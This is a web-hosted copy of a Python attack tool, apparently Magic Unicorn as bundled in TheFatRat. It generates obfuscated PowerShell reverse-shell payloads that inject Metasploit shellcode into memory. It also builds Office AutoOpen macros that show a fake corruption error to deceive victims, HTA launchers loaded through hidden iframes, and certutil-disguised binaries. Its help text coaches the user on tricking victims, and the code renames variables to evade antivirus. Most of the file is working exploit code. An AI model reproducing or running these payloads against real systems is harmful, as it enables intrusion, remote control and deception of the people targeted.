Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
screetsec
GitHub Repository: screetsec/TheFatRat
Path: blob/master/tools/pw_exec.py
495 views
1
#!/usr/bin/python
2
#
3
# Magic Unicorn - PowerShell downgrade attack and exploitation tool
4
#
5
# Written by: Dave Kennedy (@HackingDave)
6
# Company: TrustedSec (@TrustedSec) https://www.trustedsec.com
7
#
8
# Real quick down and dirty for native x86 powershell on any platform
9
#
10
# Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro>
11
# Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443
12
# Macro Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 macro
13
# HTA Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 hta
14
#
15
# Requirements: Need to have Metasploit installed.
16
#
17
# Special thanks to Matthew Graeber and Josh Kelley
18
#
19
import base64
20
import re
21
import subprocess
22
import sys
23
import os
24
import shutil
25
import random
26
import string
27
28
#
29
# generate a random string
30
#
31
def generate_random_string(low, high):
32
length = random.randint(low, high)
33
letters = string.ascii_letters + string.digits
34
return ''.join([random.choice(letters) for _ in range(length)])
35
36
# needed for color in unicorn eyes
37
class ColorsEnum:
38
CYAN = '\033[96m'
39
BLUE = '\033[94m'
40
RED = '\033[91m'
41
BOLD = '\033[1m'
42
ENDC = '\033[0m'
43
44
45
# display unicorn banner
46
def gen_unicorn():
47
print(r"""
48
,/
49
//
50
,//
51
___ /| |//
52
`__/\_ --(/|___/-/
53
\|\_-\___ __-_`- /-/ \.
54
|\_-___,-\_____--/_)' ) \
55
\ -_ / __ \( `( __`\|
56
`\__| |""" + ColorsEnum.RED + r"""\)\ """ + ColorsEnum.ENDC + r""") """ + ColorsEnum.RED + r"""/(/""" + ColorsEnum.ENDC + r"""|
57
,._____., ',--//-| \ | ' /
58
/ __. \, / /,---| \ /
59
/ / _. \ \ `/`_/ _,' | |
60
| | ( ( \ | ,/\'__/'/ | |
61
| \ \`--, `_/_------______/ \( )/
62
| | \ \_. \, \___/\
63
| | \_ \ \ \
64
\ \ \_ \ \ / \
65
\ \ \._ \__ \_| | \
66
\ \___ \ \ | \
67
\__ \__ \ \_ | \ |
68
| \_____ \ ____ | |
69
| \ \__ ---' .__\ | | |
70
\ \__ --- / ) | \ /
71
\ \____/ / ()( \ `---_ /|
72
\__________/(,--__ \_________. | ./ |
73
| \ \ `---_\--, \ \_,./ |
74
| \ \_ ` \ /`---_______-\ \\ /
75
\ \.___,`| / \ \\ \
76
\ | \_ \| \ ( |: |
77
\ \ \ | / / | ;
78
\ \ \ \ ( `_' \ |
79
\. \ \. \ `__/ | |
80
\ \ \. \ | |
81
\ \ \ \ ( )
82
\ | \ | | |
83
| \ \ \ I `
84
( __; ( _; ('-_';
85
|___\ \___: \___:
86
""")
87
88
89
# display macro help
90
def macro_help():
91
print("""
92
[*******************************************************************************************************]
93
94
-----MACRO ATTACK INSTRUCTIONS----
95
96
For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do
97
that, you will have a developer tab. Create a new macro, call it AutoOpen and paste the generated code
98
into that. This will automatically run. Note that a message will prompt to the user saying that the file
99
is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the
100
victim to thinking the excel document is corrupted. You should get a shell through powershell injection
101
after that.
102
103
NOTE: WHEN COPYING AND PASTING THE EXCEL, IF THERE ARE ADDITIONAL SPACES THAT ARE ADDED YOU NEED TO
104
REMOVE THESE AFTER EACH OF THE POWERSHELL CODE SECTIONS UNDER VARIABLE "x" OR A SYNTAX ERROR WILL
105
HAPPEN!
106
107
[*******************************************************************************************************]
108
109
""")
110
111
112
# display hta help
113
def hta_help():
114
print("""
115
[*******************************************************************************************************]
116
117
-----HTA ATTACK INSTRUCTIONS----
118
119
The HTA attack will automatically generate two files, the first the index.html which tells the browser to
120
use Launcher.hta which contains the malicious powershell injection code. All files are exported to the
121
hta_access/ folder and there will be three main files. The first is index.html, second Launcher.hta and the
122
last, the unicorn.rc file. You can run msfconsole -r unicorn.rc to launch the listener for Metasploit.
123
124
A user must click allow and accept when using the HTA attack in order for the powershell injection to work
125
properly.
126
127
[*******************************************************************************************************]
128
129
""")
130
131
132
# display powershell help
133
def ps_help():
134
print("""
135
[********************************************************************************************************]
136
137
-----POWERSHELL ATTACK INSTRUCTIONS----
138
139
Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all
140
of the code needed in order to inject the powershell attack into memory. Note you will need a place that
141
supports remote command injection of some sort. Often times this could be through an excel/word doc or
142
through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and scenarios to
143
where you can use this attack at. Simply paste the powershell_attacks.txt command in any command prompt
144
window or where you have the ability to call the powershell executable and it will give a shell back to
145
you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter
146
payloads.
147
148
Note that you will need to have a listener enabled in order to capture the attack.
149
150
[*******************************************************************************************************]
151
""")
152
153
154
# display cert help
155
def cert_help():
156
print("""
157
[*******************************************************************************************************]
158
159
-----CERUTIL Attack Instruction----
160
161
The certutil attack vector was identified by Matthew Graeber (@mattifestation) which allows you to take
162
a binary file, move it into a base64 format and use certutil on the victim machine to convert it back to
163
a binary for you. This should work on virtually any system and allow you to transfer a binary to the victim
164
machine through a fake certificate file. To use this attack, simply place an executable in the path of
165
unicorn and run python unicorn.py <exe_name> crt in order to get the base64 output. Once that's finished,
166
go to decode_attack/ folder which contains the files. The bat file is a command that can be run in a
167
windows machine to convert it back to a binary.
168
169
[*******************************************************************************************************]
170
""")
171
172
173
def custom_ps1_help():
174
print("""
175
[*******************************************************************************************************]
176
177
-----Custom PS1 Attack Instructions----
178
179
This attack method allows you to convert any PowerShell file (.ps1) into an encoded command or macro.
180
181
Note if choosing the macro option, a large ps1 file may exceed the amount of carriage returns allowed by
182
VBA. You may change the number of characters in each VBA string by passing an integer as a parameter.
183
184
Examples:
185
186
python unicorn.py harmless.ps1
187
python unicorn.py myfile.ps1 macro
188
python unicorn.py muahahaha.ps1 macro 500
189
190
The last one will use a 500 character string instead of the default 380, resulting in less carriage returns in VBA.
191
192
[*******************************************************************************************************]
193
""")
194
195
196
# usage banner
197
def gen_usage():
198
print("-------------------- Magic Unicorn Attack Vector v2.3.3-----------------------------")
199
print("\nNative x86 powershell injection attacks on any Windows platform.")
200
print("Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)")
201
print("Twitter: @TrustedSec, @HackingDave")
202
print("Credits: Matthew Graeber, Justin Elze, Chris Gates")
203
print("\nHappy Magic Unicorns.")
204
print("")
205
print("Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>")
206
print("PS Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443")
207
print("PS Down/Exec: python unicorn.py windows/download_exec exe=test.exe url=http://badurl.com/payload.exe")
208
print("Macro Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 macro")
209
print("HTA Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 hta")
210
print("CRT Example: python unicorn.py <path_to_payload/exe_encode> crt")
211
print("Custom PS1 Example: python unicorn.py <path to ps1 file>")
212
print("Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500")
213
print("Help Menu: python unicorn.py --help\n")
214
215
216
# split string
217
def split_str(s, length):
218
return [s[i:i + length] for i in range(0, len(s), length)]
219
220
221
# write a file to designated path
222
def write_file(path, text):
223
file_write = file(path, "w")
224
file_write.write(text)
225
file_write.close()
226
227
228
# generate full macro
229
def generate_macro(full_attack, line_length=380):
230
# start of the macro
231
macro_str = "Sub AutoOpen()\nDim x\nx = "
232
233
if line_length is None:
234
line_length_int = 380
235
else:
236
line_length_int = int(line_length)
237
238
powershell_command_list = split_str(full_attack, line_length_int)
239
240
for line in powershell_command_list:
241
macro_str += "& \"" + line + "\" _\n"
242
243
# remove trailing "_ \r\n"
244
macro_str = macro_str[:-4]
245
# remove first occurrence of &
246
macro_str = macro_str.replace("& ", "", 1)
247
macro_str = macro_str.replace("powershell -window", "-window")
248
249
# end of macro
250
macro_str += """"\nShell ("powershell.exe " & x)\nDim title As String\ntitle = "Critical Microsoft Office Error"\nDim msg As String\nDim intResponse As Integer\nmsg = "This document appears to be corrupt or missing critical rows in order to restore. Please restore this file from a backup."\nintResponse = MsgBox(msg, 16, title)\nApplication.Quit\nEnd Sub"""
251
return macro_str
252
253
254
# generate Matthew Graeber's (Matt rocks) attack for binary to cert format
255
# - https://gist.github.com/mattifestation/47f9e8a431f96a266522
256
def gen_cert_attack(filename):
257
if os.path.isfile(filename):
258
# make sure the directory is made
259
if not os.path.isdir("decode_attack"):
260
os.makedirs("decode_attack")
261
262
# remove old files here
263
if os.path.isfile("decode_attack/encoded_attack.crt"):
264
os.remove("decode_attack/encoded_attack.crt")
265
266
print("[*] Importing in binary file to base64 encode it for certutil prep.")
267
data = file(filename, "rb").read()
268
data = base64.b64encode(data)
269
print("[*] Writing out the file to decode_attack/encoded_attack.crt")
270
write_file("decode_attack/encoded_attack.crt",
271
"-----BEGIN CERTIFICATE-----\n{0}\n-----END CERTIFICATE-----".format(data))
272
print("[*] Filewrite complete, writing out decode string for you..")
273
write_file("decode_attack/decode_command.bat",
274
"certutil -decode encoded_attack.crt encoded.exe")
275
print("[*] Exported attack under decode_attack/")
276
print("[*] There are two files, encoded_attack.crt contains your encoded data")
277
print("[*] The second file, decode_command.bat will decode the cert to an executable.")
278
else:
279
print("[!] File was not found. Exiting the unicorn attack.")
280
sys.exit()
281
282
# generate HTA attack method
283
284
285
def gen_hta_attack(command):
286
# HTA code here
287
main1 = """<script>\na=new ActiveXObject("WScript.Shell");\na.run('%%windir%%\\\\System32\\\\cmd.exe /c %s', 0);window.close();\n</script>""" % command
288
main2 = """<iframe id="frame" src="Launcher.hta" application="yes" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>></iframe>"""
289
290
# make a directory if its not there
291
if not os.path.isdir("hta_attack"):
292
os.makedirs("hta_attack")
293
294
# write out index file
295
print("[*] Writing out index file to hta_attack/index.html")
296
write_file("hta_attack/index.html", main2)
297
298
# write out Launcher.hta
299
print("[*] Writing malicious hta launcher hta_attack/Launcher.hta")
300
write_file("hta_attack/Launcher.hta", main1)
301
302
303
# generate the actual shellcode through msf
304
def generate_shellcode(payload, ipaddr, port):
305
print("[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...")
306
port = port.replace("LPORT=", "")
307
308
# if we are using traditional payloads and not download_eec
309
if not "exe=" in ipaddr:
310
ipaddr = "LHOST=%s" % (ipaddr)
311
port = "LPORT=%s" % (port)
312
313
proc = subprocess.Popen(
314
"msfvenom -p %s %s %s StagerURILength=5 StagerVerifySSLCert=false -e x86/shikata_ga_nai -a x86 --platform windows --smallest -f c" % (
315
payload, ipaddr, port), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
316
data = proc.communicate()[0]
317
# start to format this a bit to get it ready
318
repls = {';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', 'Found 0 compatible encoders': '',
319
'unsignedcharbuf[]=': ''}
320
data = reduce(lambda a, kv: a.replace(*kv),
321
iter(repls.items()), data).rstrip()
322
return data
323
324
# generate shellcode attack and replace hex
325
def gen_shellcode_attack(payload, ipaddr, port):
326
# regular payload generation stuff
327
# generate our shellcode first
328
shellcode = generate_shellcode(payload, ipaddr, port).rstrip()
329
# sub in \x for 0x
330
shellcode = re.sub("\\\\x", "0x", shellcode)
331
# base counter
332
counter = 0
333
# count every four characters then trigger floater and write out data
334
floater = ""
335
# ultimate string
336
newdata = ""
337
for line in shellcode:
338
floater += line
339
counter += 1
340
if counter == 4:
341
newdata = newdata + floater + ","
342
floater = ""
343
counter = 0
344
345
# here's our shellcode prepped and ready to go
346
shellcode = newdata[:-1]
347
348
# write out rc file
349
write_file("unicorn.rc",
350
"use multi/handler\nset payload %s\nset LHOST %s\nset LPORT %s\nset ExitOnSession false\nset EnableStageEncoding true\nexploit -j\n" % (
351
payload, ipaddr, port))
352
353
# added random vars before and after to change strings - AV you are seriously ridiculous.
354
var1 = generate_random_string(3, 4)
355
var2 = generate_random_string(3, 4)
356
var3 = generate_random_string(3, 4)
357
var4 = generate_random_string(3, 4)
358
var5 = generate_random_string(3, 4)
359
var6 = generate_random_string(3, 4)
360
361
# one line shellcode injection with native x86 shellcode
362
powershell_code = (
363
r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % shellcode)
364
365
# run it through a lame var replace
366
powershell_code = powershell_code.replace("$1", "$" + var1).replace("$c", "$" + var2).replace("$2", "$" + var3).replace("$3", "$" + var4).replace("$x", "$" + var5)
367
368
return powershell_code
369
370
371
def gen_ps1_attack(ps1path):
372
if os.path.isfile(ps1path):
373
with open(ps1path, 'r') as scriptfile:
374
data = scriptfile.read()
375
return data
376
else:
377
print("[!] {0} does not exist. Please check your path".format(ps1path))
378
sys.exit(1)
379
380
381
def format_payload(powershell_code, attack_type, attack_modifier, option):
382
gen_unicorn()
383
print("Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)")
384
print("Twitter: @TrustedSec, @HackingDave")
385
print("\nHappy Magic Unicorns.")
386
387
full_attack = "powershell -window hidden -EncodedCommand " + \
388
base64.b64encode(powershell_code.encode('utf_16_le'))
389
390
if attack_type == "msf":
391
if attack_modifier == "macro":
392
macro_attack = generate_macro(full_attack)
393
write_file("powershell_attack.txt", macro_attack)
394
macro_help()
395
396
elif attack_modifier == "hta":
397
gen_hta_attack(full_attack)
398
# move unicorn to hta attack if hta specified
399
shutil.move("unicorn.rc", "hta_attack/")
400
hta_help()
401
402
else: # write out powershell attacks
403
write_file("powershell_attack.txt", full_attack)
404
ps_help()
405
406
elif attack_type == "custom_ps1":
407
if attack_modifier == "macro":
408
macro_attack = generate_macro(full_attack, option)
409
write_file("powershell_attack.txt", macro_attack)
410
else:
411
write_file("powershell_attack.txt", full_attack)
412
413
custom_ps1_help()
414
415
else:
416
write_file("powershell_attack.txt", full_attack)
417
ps_help()
418
419
# Print completion messages
420
if attack_type == "msf" and attack_modifier == "hta":
421
print("[*] Exported index.html, Launcher.hta, and unicorn.rc under hta_attack/.")
422
print("[*] Run msfconosle -r unicorn.rc to launch listener and move index and launcher to web server.\n")
423
424
elif attack_type == "msf":
425
print("[*] Exported powershell output code to powershell_attack.txt.")
426
print("[*] Exported Metasploit RC file as unicorn.rc. Run msfconsole -r unicorn.rc to execute and create listener.\n")
427
428
elif attack_type == "custom_ps1":
429
print("[*] Exported powershell output code to powershell_attack.txt")
430
431
432
# pull the variables needed for usage
433
try:
434
attack_type = ""
435
attack_modifier = ""
436
payload = ""
437
ps1path = ""
438
439
if len(sys.argv) > 1:
440
if sys.argv[1] == "--help":
441
ps_help()
442
macro_help()
443
hta_help()
444
cert_help()
445
custom_ps1_help()
446
gen_usage()
447
sys.exit()
448
else:
449
if len(sys.argv) > 2 and sys.argv[2] == "crt":
450
attack_type = "crt"
451
payload = sys.argv[1]
452
elif re.search('\.ps1$', sys.argv[1]) is not None:
453
attack_type = "custom_ps1"
454
ps1path = sys.argv[1]
455
else:
456
attack_type = "msf"
457
payload = sys.argv[1]
458
459
# if we are using macros
460
if len(sys.argv) == 5:
461
if attack_type == "msf": # msf macro attack
462
ipaddr = sys.argv[2]
463
port = sys.argv[3]
464
attack_modifier = sys.argv[4]
465
ps = gen_shellcode_attack(payload, ipaddr, port)
466
else:
467
print("[!] Options not understood or missing. Use --help switch for assistance.")
468
sys.exit(1)
469
470
format_payload(ps, attack_type, attack_modifier, None)
471
472
# default unicorn & custom ps1 macro attacks
473
elif len(sys.argv) == 4:
474
if attack_type == "custom_ps1": # custom ps1 macro attack
475
attack_modifier = sys.argv[2]
476
option = sys.argv[3]
477
ps = gen_ps1_attack(ps1path)
478
elif attack_type == "msf":
479
payload = sys.argv[1]
480
ipaddr = sys.argv[2]
481
port = sys.argv[3]
482
attack_modifier = ""
483
option = None
484
ps = gen_shellcode_attack(payload, ipaddr, port)
485
# It should not be possible to get here, but just in case it does for some reason in the future, it will
486
# prevent usage of 'ps' and 'option', causing the app to crash
487
else:
488
print("[!] Something went way wrong while generating payload.")
489
sys.exit()
490
491
format_payload(ps, attack_type, attack_modifier, option)
492
493
elif len(sys.argv) == 3:
494
# Matthews base64 cert attack
495
if attack_type == "crt":
496
cert_help()
497
# generate the attack vector
498
gen_cert_attack(payload)
499
elif attack_type == "custom_ps1":
500
attack_modifier = sys.argv[2]
501
ps = gen_ps1_attack(ps1path)
502
format_payload(ps, attack_type, attack_modifier, None)
503
else:
504
print("[!] Options not understood or missing. Use --help switch for assistance.")
505
sys.exit()
506
507
elif len(sys.argv) == 2:
508
if attack_type == "custom_ps1":
509
ps = gen_ps1_attack(ps1path)
510
format_payload(ps, attack_type, None, None)
511
else:
512
print("[!] Options not understood or missing. Use --help switch for assistance.")
513
sys.exit()
514
515
# if we did supply parameters
516
elif len(sys.argv) < 2:
517
gen_unicorn()
518
gen_usage()
519
520
except Exception as e:
521
print("[!] Something went wrong, printing the error: " + str(e))
522
523